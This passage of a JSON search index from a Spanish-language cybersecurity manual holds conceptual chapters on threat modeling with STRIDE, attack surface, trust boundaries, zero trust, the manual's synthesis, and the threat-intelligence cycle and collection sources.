límites","url":"/speculum/p0-fundamentos/0-4-criptografia/"},{"content":"Panorama: la seguridad se diseña, no se agrega Los tres capítulos anteriores dieron los sustratos: la red que conecta, el sistema operativo que reparte el privilegio, la criptografía que provee confianza verificable. Este capítulo hace algo distinto: los compone. Porque un sistema real no es una red, ni un sistema operativo, ni un algoritmo; es todo eso ensamblado, y la seguridad del conjunto no es la suma de las seguridades de las partes —emerge, o no, de cómo se las conecta—. Esa composición deliberada es la arquitectura de seguridad, y su primera lección es negativa: la seguridad no se agrega al final como una capa de pintura sobre un sistema ya construido. Lo que se atornilla al final tapa síntomas; lo que protege de verdad se decidió en el diseño.\nDiseñar para la seguridad empieza por una pregunta que, asombrosamente, casi nadie hace a tiempo: ¿contra qué, exactamente, nos defendemos? Sin esa pregunta, la seguridad se vuelve una acumulación de controles sin criterio —se compra lo que el mercado ofrece, no lo que la amenaza exige—. Con ella, cada control tiene una razón: responde a una amenaza concreta sobre un activo concreto. El resto del capítulo desarrolla cómo se hace esa pregunta de forma estructurada y qué dos conceptos —la superficie de ataque y la frontera de confianza— organizan la respuesta.\nModelado de amenazas: hacerse la pregunta antes que el atacante El modelado de amenazas (threat modeling) es la disciplina de anticipar, de forma estructurada y sobre un dibujo del sistema, cómo podría ser atacado —antes de que lo sea—. No es una auditoría de lo ya construido ni una prueba de penetración: es un ejercicio de diseño que se hace idealmente antes de escribir una línea de código, y que se puede resumir en cuatro preguntas encadenadas: ¿qué estamos construyendo (un diagrama del sistema, sus componentes y cómo fluyen los datos)? ¿qué puede salir mal (las amenazas)? ¿qué vamos a hacer al respecto (las mitigaciones)? ¿lo hicimos bien (la verificación)?\nPara que la segunda pregunta no dependa de la inspiración, existen marcos que la sistematizan. El más difundido es STRIDE, un acrónimo que enumera seis categorías de amenaza, cada una como la negación de una propiedad de seguridad deseada: Spoofing (suplantación de identidad, contra la autenticidad), Tampering (manipulación, contra la integridad), Repudiation (repudio: negar haber hecho algo, contra la trazabilidad), Information disclosure (divulgación, contra la confidencialidad), Denial of service (denegación, contra la disponibilidad) y Elevation of privilege (elevación de privilegio, contra la autorización). Recorrer cada componente del diagrama preguntando «¿cómo sufre este cada una de las seis?» convierte la búsqueda de amenazas en un proceso repetible en vez de una lluvia de ideas.\nflowchart LR Q1[\"¿qué construimos?\\ndiagrama · flujos de datos\"] --\u003e Q2[\"¿qué puede salir mal?\\nSTRIDE por componente\"] Q2 --\u003e Q3[\"¿qué hacemos?\\nmitigaciones por amenaza\"] Q3 --\u003e Q4[\"¿lo hicimos bien?\\nverificación\"] Q4 -.-\u003e|\"el sistema evoluciona:\\nel modelo se revisa\"| Q1Se ve por qué STRIDE no es una lista arbitraria: sus seis categorías son, casi exactamente, las propiedades de la tríada CIA extendida puestas del revés. Modelar amenazas es preguntarse, sistema en mano, de qué manera se puede violar cada garantía que uno quería tener. Y el entregable no es un informe: es un conjunto de decisiones de diseño —este dato se cifra, este componente se aísla, este cruce se valida— tomadas por una razón nombrada.\nSuperficie de ataque: ver para reducir De modelar amenazas surge el primer concepto operativo: la superficie de ataque (attack surface). Es la suma de todos los puntos por los que un atacante podría intentar entrar o interactuar con el sistema: cada puerto abierto, cada servicio expuesto, cada campo de entrada, cada dependencia de terceros, cada cuenta con acceso, cada API. La superficie de ataque es, literalmente, todo lo que hay que defender —y por eso el principio de diseño más directo que se deriva de ella es reducirla: lo que no existe no se puede atacar—. Un servicio que no se expone, un puerto que se cierra, una función que se elimina, una cuenta que se desactiva: cada uno es superficie que desaparece, y con ella la clase entera de ataques que la usaban.\nLa reducción de superficie es la economía de mecanismo de los principios llevada a la arquitectura: cuanto menos hay, menos puede fallar y menos hay que auditar. Y es lo primero que un atacante mide —el reconocimiento de la Parte 4 es, en el fondo, el mapeo de la superficie de ataque de un dominio— y por lo tanto lo primero que un defensor debería haber medido. Ver la superficie es un acto de diseño: no se puede reducir lo que no se sabe que existe, y buena parte de las brechas ocurren en superficie que la organización ni sabía que tenía —un servidor olvidado, una interfaz de administración expuesta, una credencial en un repositorio—.\nLa frontera de confianza como artefacto de diseño El segundo concepto operativo, y el más importante del capítulo, es la frontera de confianza (trust boundary). Ya apareció como hilo en los capítulos anteriores; aquí se vuelve método. Una frontera de confianza es la línea donde algo que confiamos recibe algo que no confiamos: la entrada del usuario que llega a la aplicación, la respuesta del servicio externo que consume nuestro sistema, el documento que un agente lee, el paquete que cruza del segmento no confiable al confiable. En esa línea, y solo en esa línea, es donde hay que validar —porque es donde el dato no confiable intenta volverse acción confiable—.\nLa diferencia entre un sistema seguro y uno inseguro suele ser si sus fronteras de confianza son explícitas o accidentales. En un diseño maduro, cada frontera está dibujada a propósito: se sabe dónde está, qué la cruza y qué validación la protege. En un diseño inmaduro, las fronteras son accidentes de la implementación —surgieron sin que nadie las decidiera— y por eso quedan sin custodiar. El error recurrente, que la Parte 3 nombró y la Parte 9 reprisó con la seguridad de la inteligencia artificial, es el mismo: cuando aparece una tecnología nueva, reubica la frontera de confianza, y la vulnerabilidad aparece en la frontera que se dejó de mirar porque se la creía interna. El prompt injection es exactamente eso —una frontera de confianza nueva, entre los datos que un modelo procesa y las instrucciones que sigue, que nadie estaba validando—. Convertir la frontera de confianza en un artefacto de diseño explícito es la contramedida general contra toda esa familia de errores: si cada frontera está dibujada, ninguna se deja de mirar.\nDel perímetro al zero trust Durante décadas la arquitectura de red dominante se organizó alrededor de un perímetro: un borde fortificado —el cortafuegos, la DMZ— que separaba el «afuera» hostil de un «adentro» tratado como confiable. El modelo tenía una metáfora cómoda, el castillo con su foso, y un defecto fatal: una vez dentro, todo era confiable. Bastaba una grieta en el muro —un correo de phishing, una VPN comprometida, un servidor expuesto— para que el atacante quedara en el interior blando, donde podía moverse lateralmente casi sin resistencia. Los mismos ataques de movimiento lateral que el manual recorrió deben buena parte de su eficacia a esa suposición: la red confiaba en quien ya estaba adentro.\nEl zero trust («confianza cero») es la corrección arquitectónica de ese defecto, y su formulación cabe en una frase: nunca confiar, siempre verificar. En un modelo de confianza cero no hay un «adentro» confiable por ubicación; cada acceso a cada recurso se autentica, se autoriza y se cifra en el momento, sin importar desde dónde se origine, como si cada petición viniera de una red hostil. Visto desde los principios, el zero trust no es una idea nueva: es la mediación completa de Saltzer y Schroeder —verificar en cada acceso, no una sola vez— aplicada a la red entera, más el mínimo privilegio —dar solo el acceso necesario, solo por el","section":"P0 · Fundamentos","summary":"El capítulo que compone los tres sustratos anteriores —la red, el sistema operativo y la criptografía— en un sistema que se puede defender. La seguridad no se agrega al final como una capa de pintura: se diseña, y diseñarla empieza por una pregunta que casi nadie hace a tiempo, ¿contra qué, exactamente, estamos defendiéndonos? El modelado de amenazas (con STRIDE como marco de referencia) es la disciplina de hacerse esa pregunta de forma estructurada, sobre un dibujo del sistema, antes de que el atacante la haga por uno. De ahí salen los dos conceptos que organizan todo el capítulo: la superficie de ataque, que hay que ver para poder reducir, y la frontera de confianza, que deja de ser un accidente para convertirse en un artefacto de diseño explícito —la línea, dibujada a propósito, donde algo confiable recibe algo que no lo es y por lo tanto hay que validar—. El capítulo muestra cómo el modelo de perímetro tradicional —duro por fuera, blando por dentro— fracasó, y cómo el zero trust lo reemplaza aplicando a toda la red el principio de mediación completa: nunca confiar por ubicación, verificar en cada acceso, con la identidad convertida en el nuevo perímetro. Cierra con el diseño seguro por defecto como la forma de no repetir el error. No rehace la gobernanza de la Parte 7 ni el detalle operativo del zero trust: da el marco de diseño que la gobernanza dirige.","tags":["fundamentos","arquitectura","modelo-amenazas","zero-trust","frontera-confianza","stride","identidad"],"title":"0.5 · Arquitectura de seguridad: modelar la amenaza y confiar con criterio","url":"/speculum/p0-fundamentos/0-5-arquitectura-confianza/"},{"content":"La pregunta que queda Diez Partes atrás, este manual empezó a recorrer la seguridad por terrenos: la explotación y el red team, el Active Directory, el reconocimiento, la defensa azul y el forense, la inteligencia de amenazas, la validación púrpura, la gobernanza, el factor humano, la inteligencia artificial, y por último estos fundamentos. Cada Parte tomó un terreno y lo trabajó a fondo, con su vocabulario, sus técnicas y su lente propio. Al final de semejante travesía queda una pregunta que es a la vez la más difícil y la más importante, la única que justifica haber escrito un manual y no una colección de fichas sueltas: ¿cuál es el hilo único que atraviesa todo? Si la seguridad fuera solo una lista de técnicas, no habría respuesta —habría que memorizar la lista y esperar que no cambie—. Pero la seguridad no es eso, y este capítulo, el que cierra el libro, existe para destilar las diez Partes en una sola idea.\nLa idea se puede enunciar de entrada, y el resto del capítulo la desarrolla: las técnicas cambian; los principios no. Cambia el intérprete que se inyecta, cambia el protocolo que se abusa, cambia la superficie que aparece con cada tecnología nueva —y sin embargo, debajo de toda esa variación, el mismo puñado de invariantes explica por qué un ataque funciona y por qué una defensa aguanta—. Aprender seguridad no es memorizar las técnicas de hoy, que serán obsoletas mañana; es interiorizar los invariantes, que permiten entender la técnica de mañana antes de haberla visto. Ese es el sentido de haber puesto los principios al comienzo de esta Parte y de reencontrarlos ahora al final del libro: son el hilo.\nEl hilo, Parte por Parte Vale la pena recorrer la travesía una vez más, pero al revés de como se la vivió: no como diez terrenos distintos, sino como diez manifestaciones de los mismos pocos principios.\nflowchart TB I[\"un puñado de invariantes\\n(los principios de 0.1)\"] I --\u003e DC[\"separar datos de código\\nP3 inyección · P9 prompt injection\"] I --\u003e MP[\"mínimo privilegio\\nP4 identidad · P2 recon = mapear lo expuesto\"] I --\u003e DP[\"defensa en profundidad\\nP5 detección · P6 validación\"] I --\u003e HS[\"el humano es superficie\\nP8 factor humano\"] I --\u003e ES[\"la IA cambia la escala,\\nno los fundamentos · P9\"] DC --\u003e G[\"gobernanza que lo ejerce · P7\"] MP --\u003e G DP --\u003e G HS --\u003e G ES --\u003e G G --\u003e INT[\"inteligencia que lo orienta · P1\"]Separar los datos del código. La explotación de la Parte 3 mostró que familias enteras de vulnerabilidades son un solo error —un intérprete que confunde lo que debe procesar con lo que debe ejecutar—, y la inteligencia artificial de la Parte 9 mostró ese mismo error un nivel más arriba, en el modelo de lenguaje como el intérprete más nuevo. La técnica cambió por completo entre una base de datos y una red neuronal; el principio es idéntico.\nEl mínimo privilegio. El Active Directory de la Parte 4 es, leído desde arriba, un largo estudio de lo que pasa cuando el privilegio se otorga de más y se controla de menos: cada técnica de escalada y de movimiento lateral explota una autoridad que no hacía falta conceder. Y el reconocimiento de la Parte 2 es su espejo defensivo, mapear lo que uno expone sin necesidad, porque lo que no se expone no se puede atacar.\nLa defensa en profundidad. La defensa azul de la Parte 5 no apuesta a una barrera sino a una sucesión de barreras independientes, bajo el supuesto de que alguna fallará; y la validación púrpura de la Parte 6 existe para comprobar que esas barreras hacen lo que se cree —porque un control no probado no es un control, es una esperanza—.\nEl humano es una superficie. La Parte 8 recordó que ninguna defensa técnica alcanza si se puede convencer a la persona de abrir la puerta, y que la manipulación explota la misma arquitectura cognitiva sin importar la época. Y la máquina cambia la escala, no los fundamentos: la Parte 9 cerró el arco substantivo demostrando que la inteligencia artificial multiplica la velocidad, el alcance y la superficie del adversario —y del defensor— sin derogar una sola de las reglas anteriores.\nY todo eso descansa sobre dos Partes que no atacan ni defienden, sino que sostienen. La gobernanza de la Parte 7 es quien ejerce los principios a escala de una organización —los vuelve política, los hace cumplir, vela por que el diseño no se degrade—; y la inteligencia de amenazas de la Parte 1 es quien los orienta —dice contra qué defenderse, para que la seguridad responda a la amenaza real y no al catálogo del mercado—.\nLa idea, en una frase Si hubiera que comprimir el manual entero en una sola afirmación, sería esta: la seguridad no es un producto que se compra ni una técnica que se domina, sino una propiedad que se cultiva. Se cultiva porque no se termina —un producto se instala y queda; una propiedad emergente hay que sostenerla, porque el sistema cambia, el adversario aprende y el fundamento bien puesto ayer se afloja hoy si nadie lo revisa—. La Parte 8 lo dijo del factor humano —«no se instala, se cultiva»—; aquí se eleva a todo el libro. Cada Parte fue, a su manera, una lección sobre cómo se cultiva en un terreno; los principios fueron las semillas comunes.\nDe ahí se sigue lo que hace útil a esta forma de pensar. Frente a una técnica nueva —un ataque que nadie vio, una tecnología recién llegada— quien memorizó técnicas está perdido, porque su lista no la incluye. Quien interiorizó los invariantes se pregunta lo de siempre: ¿dónde está la frontera de confianza que esta tecnología reubicó? ¿qué privilegio otorga de más? ¿qué dato se está tratando como código? ¿qué barrera única quedó sin una segunda detrás? Esas preguntas no caducan. Son el método que sobrevive a todas las técnicas, y el verdadero contenido de un manual que aspira a servir más allá de la lista de amenazas del año en que se escribió.\nVolver al principio Esta Parte 0 tiene un lugar peculiar en el libro, y ahora se puede explicar del todo. Se lee primera, antes que cualquier otra, porque es el cimiento: no se entiende la inyección sin la idea de intérprete, ni el volcado de credenciales sin la de privilegio, ni la autenticación de dominio sin la de criptografía. Pero se escribió última, después de las otras nueve, y no por casualidad: solo desde el edificio terminado se ve con precisión sobre qué se paró cada piso. Para poder decir «esto es lo que todo lo anterior presuponía» hubo que recorrer primero todo lo anterior. El cimiento se cuela al final porque es lo único que se entiende mejor mirando hacia atrás.\nCon este capítulo el manual queda completo: diez Partes que van del fundamento a la frontera más nueva y vuelven al fundamento, unidas por un hilo que no es una técnica sino una forma de pensar. Quien llegó hasta acá no termina con una lista de ataques y defensas —esas envejecen— sino con algo que dura más: la costumbre de mirar cualquier sistema, viejo o nuevo, y ver dónde se separan los datos del código, dónde se otorga el privilegio, dónde se apilan las barreras, dónde está la persona y dónde la frontera de confianza. Eso es lo que el libro quiso enseñar. Todo lo demás fueron ejemplos.\nReferencias Este capítulo es síntesis propia: no destila una fuente, destila el manual. Recapitula los arcos de las diez Partes —la explotación, el Active Directory, el reconocimiento, la defensa azul, la validación púrpura, la gobernanza, el factor humano, la inteligencia artificial y la inteligencia de amenazas— como manifestaciones de los invariantes reunidos en 0.1. La tesis de la seguridad como propiedad que se cultiva —y no como producto ni como técnica— extiende a todo el manual la formulación de la seguridad como proceso de los principios y la idea de que la resiliencia no se instala sino que se cultiva de la Parte 8. ","section":"P0 · Fundamentos","summary":"El capítulo que cierra la Parte 0 y, con ella, el manual entero. Después de recorrer diez Partes —la explotación, el Active Directory, el reconocimiento, la defensa azul, la inteligencia de amenazas, la validación púrpura, la gobernanza, el factor humano, la inteligencia artificial y estos fundamentos— la pregunta que queda es la más difícil y la más importante: ¿cuál es el hilo único que atraviesa todo? Este capítulo lo responde destilando las diez Partes en una sola idea. Muestra que las técnicas cambian —cambia el intérprete que se inyecta, cambia el protocolo que se abusa, cambia la superficie que aparece con cada tecnología nueva— pero los principios no: separar los datos del código, otorgar el mínimo privilegio, apilar la defensa en profundidad, reconocer que el humano es una superficie y que la máquina cambia la escala pero no los fundamentos, todo bajo una gobernanza que lo ejerce y una inteligencia que lo orienta. Recapitula la travesía como un solo movimiento y llega a la tesis que corona el libro: la seguridad no es un producto que se compra ni una técnica que se domina, sino una propiedad que se cultiva —un puñado de invariantes aplicados con disciplina a cada capa, sostenidos en el tiempo—. Y cierra volviendo al principio: esta Parte se lee primera porque es el cimiento, pero se escribió última porque solo desde el edificio terminado se ve sobre qué se paró cada piso.","tags":["fundamentos","sintesis","arquitectura","principios","cierre"],"title":"0.6 · Síntesis: el manual en una idea","url":"/speculum/p0-fundamentos/0-6-sintesis/"},{"content":"Panorama La Parte 5 abrió el bloque azul afirmando que la defensa es un programa de funciones que interoperan y colocó a la inteligencia en el centro de ese esquema: en el modelo de seis funciones del capítulo 5.1, Intelligence es la que alimenta a todas las demás —le dice a la detección qué buscar, a la cacería qué hipótesis formular, a la respuesta contra qué adversario está peleando y a la validación qué simular—. Esa Parte dio por supuesta la existencia de esa función y se concentró en las que consumen su producto. Esta Parte la desarrolla.\nLa cyber threat intelligence (CTI, inteligencia de amenazas) es la disciplina que convierte información dispersa sobre adversarios en conocimiento sobre el cual se puede decidir. La definición canónica del campo —información depurada, basada en evidencia, que identifica amenazas inminentes para una organización y ayuda a reducir su exposición— es correcta pero engañosamente inocua, porque no dice lo que separa un programa real de una suscripción cara. Ese criterio es más incómodo y conviene enunciarlo desde el principio: la inteligencia no se define por el dato que contiene sino por la decisión que habilita. Un listado de dominios maliciosos que nadie carga en ningún control no es inteligencia; es un archivo. Un informe de doscientas páginas sobre un actor que no ataca al sector de la organización tampoco lo es; es lectura. Lo que convierte a un dato en inteligencia es que alguien identificado haya pedido responder a una pregunta concreta y que la respuesta cambie algo: una regla, una prioridad de parcheo, una decisión de arquitectura, una inversión.\nDe ahí se sigue el problema práctico que este capítulo ordena. La mayoría de los programas fracasan no por falta de datos sino por exceso: se compran flujos, se ingieren indicadores, se acumulan informes, y el equipo termina con más volumen del que puede procesar y sin nada que mostrar salvo la factura. La causa raíz casi siempre es la misma —se empezó por la colección en lugar de por los requerimientos— y el remedio también: un ciclo explícito que obliga a declarar qué se quiere saber antes de salir a recolectar, y una estratificación explícita de los productos según quién los va a usar. Este capítulo desarrolla esas dos estructuras y el criterio de madurez que emerge de ambas. Es el marco de P1 en el mismo sentido en que 5.1 lo es de la defensa, el 3.1 de la explotación y el 2.1 del reconocimiento: no enseña una técnica, enseña cómo se organiza el trabajo para que las técnicas de los capítulos siguientes produzcan algo utilizable.\nPor qué la defensa reactiva obliga a la inteligencia El argumento fundacional del campo es una observación sobre el desfase temporal. Los controles clásicos —firmas de antivirus, reglas de IDS, listas de bloqueo— operan sobre descripciones de ataques que ya ocurrieron en otro lugar y fueron documentados. Funcionan bien contra el volumen indiscriminado, que es la mayoría del tráfico hostil, y por eso conviene no despreciarlos. Fallan de manera sistemática contra el adversario que elige un objetivo, estudia su superficie y adapta su herramienta a ese objetivo particular, porque en ese caso la descripción que la firma necesita no existe todavía: el artefacto es nuevo, la infraestructura es nueva, y el control llega tarde por construcción.\nEl capítulo 5.8 midió esa brecha empíricamente y encontró muestras que sobrevivían de forma permanente al escaneo bajo demanda. La conclusión que allí se sacó —la evasión gana contra la firma y no contra el comportamiento, porque el adversario controla cómo se ve su artefacto pero no lo que su operación tiene que hacer— es exactamente la puerta de entrada de la CTI. Si lo que resiste es el comportamiento, entonces el defensor necesita saber qué comportamientos esperar, y ese conocimiento no está en su propia telemetría: está en lo que ese adversario le hizo a otros antes de llegar a él. La inteligencia es el mecanismo por el cual una organización aprende de intrusiones que no sufrió.\nEsto reencuadra la relación entre las dos Partes. P5 respondió a la pregunta «cómo se detecta»; P1 responde a la pregunta previa, «qué hay que detectar y por qué eso antes que otra cosa». Sin la segunda, la primera degenera en recolección indiscriminada —el error que 5.1 nombró al exigir que las tácticas del adversario decidan la ingesta y no al revés—. La inteligencia es lo que hace que esa priorización sea algo más que una corazonada del arquitecto del SIEM.\nEl puente ya estaba tendido. El capítulo 2.6 cerró el bloque rojo con el encuadre Pre-Crime: la información que el adversario recoge sobre la organización está igualmente disponible para la organización sobre sí misma y sobre el adversario. P1 es ese encuadre convertido en función permanente. El método OSINT (2.1) y el ciclo de inteligencia de este capítulo son el mismo ciclo apuntado en direcciones opuestas: recolectar, procesar, analizar con niveles de confianza declarados, producir para un consumidor concreto. Quien recorrió P2 ya conoce la mecánica; lo que cambia es hacia dónde mira y quién decide con el resultado. Los tres niveles: tres productos, no tres calidades La estratificación clásica de la CTI distingue inteligencia táctica, operativa y estratégica. El error más común al leerla es interpretarla como una escala de calidad o de profundidad, donde lo estratégico sería «más» y lo táctico «menos». No lo es. Son tres productos distintos, con tres formatos distintos, tres tiempos de vida distintos y tres consumidores distintos, y un programa que produce solo uno de los tres está incompleto aunque lo produzca excelentemente.\nTáctica: lo que consume una máquina La inteligencia táctica es la más concreta y la de vida más corta. Su unidad es el indicador técnico —una dirección IP de mando y control, un dominio, un hash, un patrón de tráfico— y su destino natural no es un lector humano sino un control automatizado: el cortafuegos que bloquea, el proxy que corta la salida, la regla que dispara en el SIEM. Su consumidor es el analista de primera línea del centro de operaciones de seguridad (SOC), y su valor se mide en minutos: cuánto antes se bloquea, cuánto más rápido se enriquece una alerta con contexto para triarla.\nSu límite es igualmente conocido: caduca. Un dominio se abandona, una dirección rota, un binario se recompila. El 5.1 desarrolló la pirámide del dolor de David Bianco precisamente para ordenar esa jerarquía de fragilidad, y este capítulo no la rehace. Lo que corresponde señalar acá es la consecuencia organizativa: la inteligencia táctica requiere un mecanismo de caducidad tanto como uno de ingesta. Un programa que ingiere indicadores y nunca los retira acumula reglas que ya no detectan nada pero siguen generando falsos positivos y consumiendo licencia de ingesta. El indicador sin fecha de vencimiento es deuda operativa, y la mitad del trabajo táctico consiste en administrarla.\nOperativa: lo que consume un investigador La inteligencia operativa es técnica pero no atómica. Describe cómo trabaja un adversario concreto: qué vector de acceso inicial prefiere, qué herramientas reutiliza, cómo se mueve lateralmente, cómo persiste, cómo saca los datos. Su unidad no es el indicador sino la técnica, y su consumidor es el equipo de respuesta a incidentes y el de cacería.\nSu valor aparece en dos momentos muy específicos. Durante un incidente activo, permite pasar de «encontramos esto» a «esto se parece a tal conjunto de actividad, que suele continuar así» —y esa proyección es lo que permite acotar el alcance antes de contener, que es la exigencia central de la regla del tempo del capítulo 5.4: contener con el alcance incompleto produce el ciclo interminable en el que el adversario reaparece por la vía que nadie miró—. Fuera del incidente, es la materia prima de la hipótesis de cacería: la cacería estructurada de 5.1 formula «si tal actor opera así y estuviera dentro, dejaría tal rastro en tal fuente», y esa premisa sale de inteligencia operativa.\nSu vida es interme","section":"P1 · Threat Intelligence y el adversario","summary":"El capítulo-marco que abre P1. Su tesis: la inteligencia no se define por el dato que contiene sino por la decisión que habilita, de modo que un programa sin requerimientos explícitos no produce inteligencia sino feeds. Desarrolla los tres niveles de consumo —táctico, operativo y estratégico— como tres productos distintos con tres consumidores distintos, el ciclo de seis fases como disciplina que impide la acumulación estéril de indicadores, y el criterio de madurez que separa a la organización que compra inteligencia de la que la produce a partir de sus propios incidentes.","tags":["threat-intel","cti","ciclo-inteligencia","blue-team","gobernanza","deteccion"],"title":"1.1 · El programa de inteligencia: niveles, ciclo y requerimientos","url":"/speculum/p1-threat-intel/1-1-programa-inteligencia/"},{"content":"Panorama El capítulo 1.1 estableció que el ciclo empieza por los requerimientos y no por los datos, y que el error más frecuente del campo consiste en invertir ese orden. Este capítulo desarrolla la fase siguiente —la colección— con esa restricción encima: no se colecta lo que está disponible, se colecta lo que responde a una pregunta que alguien hizo. Todo lo demás es acumulación, y la acumulación tiene un costo que se paga tres veces: en licencia de ingesta, en tiempo de procesamiento y en falsos positivos que erosionan la confianza del centro de operaciones en su propio instrumental.\nLa colección es también la fase donde el mercado es más ruidoso. Existe una industria completa dedicada a vender flujos de datos sobre amenazas, y su argumento de venta habitual es el volumen: millones de indicadores, decenas de fuentes agregadas, actualización continua. Ese argumento es engañoso, y conviene enunciar desde el principio el criterio que este capítulo defiende, porque contradice al folleto: el valor de una fuente no es su volumen sino su unicidad y su latencia respecto de la decisión. Un flujo que compran las mil organizaciones del sector no otorga ventaja a ninguna de ellas —el adversario también sabe qué infraestructura suya fue publicada— y un dato que llega después de que la decisión se tomó no vale nada por correcto que sea.\nDe ese criterio se sigue el corolario incómodo que estructura el capítulo. La fuente que mejor puntúa en unicidad no se compra: es la telemetría y los incidentes propios, porque es la única a la que nadie más tiene acceso y la única que describe al adversario que efectivamente está atacando a esta organización y no al promedio del sector. El 1.1 presentó eso como criterio de madurez; acá se convierte en criterio de diseño de la colección.\nEl eje interno / externo La primera partición de las fuentes es por origen, y su asimetría es más pronunciada de lo que la literatura suele admitir.\nLas fuentes internas son la telemetría que el bloque azul ya describió: los registros de eventos, el proxy, el cortafuegos, el DNS, el SIEM que 5.2 desarrolló, más los sensores desplegados a propósito —honeypots, señuelos, credenciales trampa como las que 5.11 usó en contenedores— y, sobre todo, el producto de los incidentes ya vividos: los indicadores, las técnicas y las lecciones que quedaron de cada investigación. Su ventaja es doble. Son estructuralmente únicas, en el sentido preciso de que ninguna otra organización las tiene. Y son pertinentes por construcción, porque describen lo que pasó en la superficie propia y no en una superficie ajena que puede no parecerse en nada.\nEl escenario canónico del campo ilustra bien cómo se combinan ambos ejes: el equipo cruza inteligencia externa sobre infraestructura maliciosa con sus propios registros de asignación de direcciones y de resolución de nombres, y en esa intersección aparece qué equipo interno concreto está hablando con esa infraestructura. Ni la fuente externa sola ni el registro interno solo producen esa respuesta. El valor está en el cruce, y el cruce solo es posible si la telemetría interna se conserva con suficiente retención y con suficiente calidad —que es el argumento de 5.2 visto desde la otra punta del ciclo—.\nLas fuentes externas aportan lo que la organización no puede ver desde adentro: qué está haciendo el adversario antes de llegar, contra quién más lo está haciendo, con qué herramientas y por qué. Su límite es simétrico al de las internas: describen un promedio que puede no aplicar. Un flujo excelente sobre extorsión industrial es ruido puro para una organización cuyo perfil de riesgo es el espionaje o el fraude interno.\nLa regla de composición. Un programa sano no elige entre interno y externo: usa lo externo para saber qué buscar y lo interno para saber si está. Invertir esa asignación produce los dos fracasos típicos —cazar en la telemetría propia sin hipótesis derivada de inteligencia, que es buscar sin saber qué, y cargar indicadores externos sin capacidad de verificarlos contra el entorno, que es alertar sin saber sobre qué—. Las seis familias de fuente externa La taxonomía operativa más útil del campo clasifica la colección externa en seis familias según cómo se obtiene el dato, no según quién lo vende. Cada una tiene un perfil distinto de unicidad, de latencia y de esfuerzo.\nflowchart TD REQ[\"Requerimientos (1.1)\\n¿qué decisión hay que tomar?\"] REQ --\u003e INT[\"INTERNAS\\ntelemetría (5.2) · honeypots\\nincidentes propios · cacerías\"] REQ --\u003e EXT[\"EXTERNAS\"] EXT --\u003e H[\"honeynets / darknets\\ntráfico hostil no dirigido\"] EXT --\u003e S[\"sinkholes\\nvíctimas reales de una familia\"] EXT --\u003e V[\"informes de proveedor\\ncontexto rico · latencia alta\"] EXT --\u003e E[\"escaneo y crawling\\nsuperficie expuesta propia y ajena\"] EXT --\u003e M[\"procesamiento de malware\\nmuestras a escala · YARA\"] EXT --\u003e C[\"closed source / HUMINT\\nforos · comunidades · ISAC\"] INT --\u003e EV[\"Evaluación\\nunicidad · latencia · fiabilidad\\n(Admiralty)\"] H --\u003e EV S --\u003e EV V --\u003e EV E --\u003e EV M --\u003e EV C --\u003e EV EV --\u003e PRI[\"Priorización concéntrica\\nhacia los activos estratégicos\"] PRI --\u003e ANA[\"Procesamiento y análisis (1.3)\"]Honeynets y darknets. Una honeynet es una red de señuelos instrumentada, sin propósito productivo, cuya única función es que la ataquen. Una darknet es un espacio de direccionamiento sin activos legítimos, de modo que cualquier paquete entrante es sospechoso por definición. Su virtud es la limpieza de la señal: como no hay actividad legítima, no hay falsos positivos que separar. Su límite es que capturan sobre todo lo indiscriminado —escaneo masivo, botnets, explotación oportunista de vulnerabilidades viejas— y muy poco de lo dirigido, porque el adversario que elige objetivo no llega ahí por azar. Sirven para medir el ruido de fondo y para detectar campañas nuevas de volumen, no para perfilar al actor que persigue a la organización.\nSinkholes. Un sinkhole es un servidor controlado al que se redirige el tráfico destinado a dominios maliciosos, habitualmente tras una acción coordinada o una incautación. Lo que se observa allí no son atacantes sino víctimas reales: los equipos que siguen intentando hablar con una infraestructura ya neutralizada. Es la fuente de mayor valor para responder «¿quién está infectado?» y, si la propia organización aparece en esos datos, la señal es de una fidelidad difícil de igualar. Su límite es que solo cubre familias ya conocidas y ya intervenidas.\nInformes de proveedor. El producto terminado de la industria: el análisis de una campaña, un actor o una familia. Aporta el contexto más rico y es la materia prima natural de la inteligencia operativa. Sus dos límites son estructurales y conviene tenerlos presentes. El primero es la latencia: cuando el informe se publica, la campaña lleva meses corriendo y la infraestructura descrita suele estar quemada. El segundo es la no unicidad: es público o semipúblico, de modo que el adversario lo lee también y sabe exactamente qué de su operación quedó expuesto. Su valor durable no está en los indicadores que trae —esos caducan— sino en las técnicas, que son lo que 5.1 identificó como el nivel donde el adversario paga caro por cambiar.\nEscaneo y crawling. La indexación activa de servicios expuestos en internet, con la que se construye tanto el conocimiento de la superficie ajena como —y esto importa más— la propia. Es literalmente la misma actividad que 2.5 describió del lado ofensivo y que 2.4 usó para mapear infraestructura: la organización que se escanea a sí misma con las herramientas del adversario ve lo que el adversario ve. Su límite es que informa sobre exposición, no sobre intención.\nProcesamiento de malware a escala. El análisis automatizado de grandes volúmenes de muestras, del que se extraen metadatos, cadenas, configuraciones e infraestructura de mando y control. Es la fuente que mejor se combina con la alerta programática: una regla YARA desplegada sobre el flujo entrante convierte un caudal pasivo en una alerta accionable en el momento ","section":"P1 · Threat Intelligence y el adversario","summary":"La segunda fase del ciclo: de dónde sale el material. Desarrolla la taxonomía completa de fuentes —internas y las seis familias externas: honeynets y darknets, sinkholes, informes de proveedor, escaneo y crawling, procesamiento de malware y relaciones humanas en canales cerrados—, el dilema entre construir y comprar, y el criterio que ordena todo lo anterior: el valor de una fuente no es su volumen sino su unicidad y su latencia respecto de la decisión. Cierra con la priorización concéntrica hacia los activos estratégicos, la señal de explotación como corrección al parcheo por severidad, y los tres riesgos de la colección misma.","tags":["threat-intel","cti","osint","ciclo-inteligencia","blue-team","threat-hunting"],"title":"1.2 · Colección: fuentes, taxonomía y evaluación","url":"/speculum/p1-threat-intel/1-2-coleccion-fuentes/"},{"content":"Panorama Al terminar el capítulo 1.2 la organización tiene material: observables etiquetados por fiabilidad y credibilidad, priorizados hacia los activos que importan, con su cobertura documentada. Todavía no tiene inteligencia. Falta la fase donde alguien mira ese material y afirma algo: qué está pasando, quién lo hace, qué va a pasar después, con cuánta confianza y por qué. Esa es la fase de análisis, y es la que distingue un programa de inteligencia de un depósito de datos.\nEs también la fase más difícil de enseñar, porque su instrumental no es técnico. Un analista no falla por no saber consultar un SIEM: falla por concluir demasiado rápido, por enamorarse de la primera explicación, por leer coincidencia donde hay propagación, por atribuir a un actor conocido lo que solo se le parece. El enemigo del análisis no es la falta de datos sino el sesgo del analista, y toda la maquinaria conceptual de este capítulo existe para contenerlo.\nDe ahí la tesis que conviene fijar antes de recorrer los 